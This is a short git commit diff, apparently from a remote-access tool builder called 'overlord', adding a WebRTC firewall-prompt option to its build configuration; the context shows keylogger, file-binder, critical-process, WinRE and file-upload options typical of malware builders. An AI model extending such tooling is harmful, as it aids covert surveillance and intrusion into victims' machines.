add optional full require + fix some tests
This commit is contained in:
@@ -60,6 +60,7 @@ export type BuildConfig = {
|
||||
criticalProcess?: boolean;
|
||||
disableKeylogger?: boolean;
|
||||
enableWebrtc?: boolean;
|
||||
promptWebrtcFirewallOnStart?: boolean;
|
||||
enableWinRE?: boolean;
|
||||
fetchPublicIP?: boolean;
|
||||
uploadToFileShare?: boolean;
|
||||
|
||||
@@ -97,6 +97,7 @@ type BuildProcessConfig = {
|
||||
noPrinting?: boolean;
|
||||
disableKeylogger?: boolean;
|
||||
enableWebrtc?: boolean;
|
||||
promptWebrtcFirewallOnStart?: boolean;
|
||||
enableWinRE?: boolean;
|
||||
builtByUserId?: number;
|
||||
initialClientTag?: string;
|
||||
@@ -1376,6 +1377,7 @@ func runBoundFiles() {
|
||||
if (config.noPrinting) baseTags.push("noprint");
|
||||
if (config.disableKeylogger) baseTags.push("nokeylogger");
|
||||
if (config.enableWebrtc) baseTags.push("overlord_webrtc");
|
||||
if (config.enableWebrtc && config.promptWebrtcFirewallOnStart) baseTags.push("webrtc_firewall_startup_prompt");
|
||||
if (config.enableWinRE && os === "windows") baseTags.push("overlord_winre");
|
||||
if (hasBoundFiles) baseTags.push("hasbinder");
|
||||
if (isIosTarget) baseTags.push("ios_target");
|
||||
|
||||
@@ -217,6 +217,7 @@ export async function handleBuildRoutes(
|
||||
criticalProcess,
|
||||
disableKeylogger,
|
||||
enableWebrtc,
|
||||
promptWebrtcFirewallOnStart,
|
||||
enableWinRE,
|
||||
outputExtension,
|
||||
sleepSeconds,
|
||||
@@ -550,6 +551,7 @@ export async function handleBuildRoutes(
|
||||
criticalProcess: safeCriticalProcess,
|
||||
disableKeylogger: !!disableKeylogger,
|
||||
enableWebrtc: !!enableWebrtc,
|
||||
promptWebrtcFirewallOnStart: !!enableWebrtc && !!promptWebrtcFirewallOnStart,
|
||||
enableWinRE: !!enableWinRE,
|
||||
outputExtension: safeOutputExtension,
|
||||
sleepSeconds: safeSleepSeconds,
|
||||
|
||||
Reference in New Issue
Block a user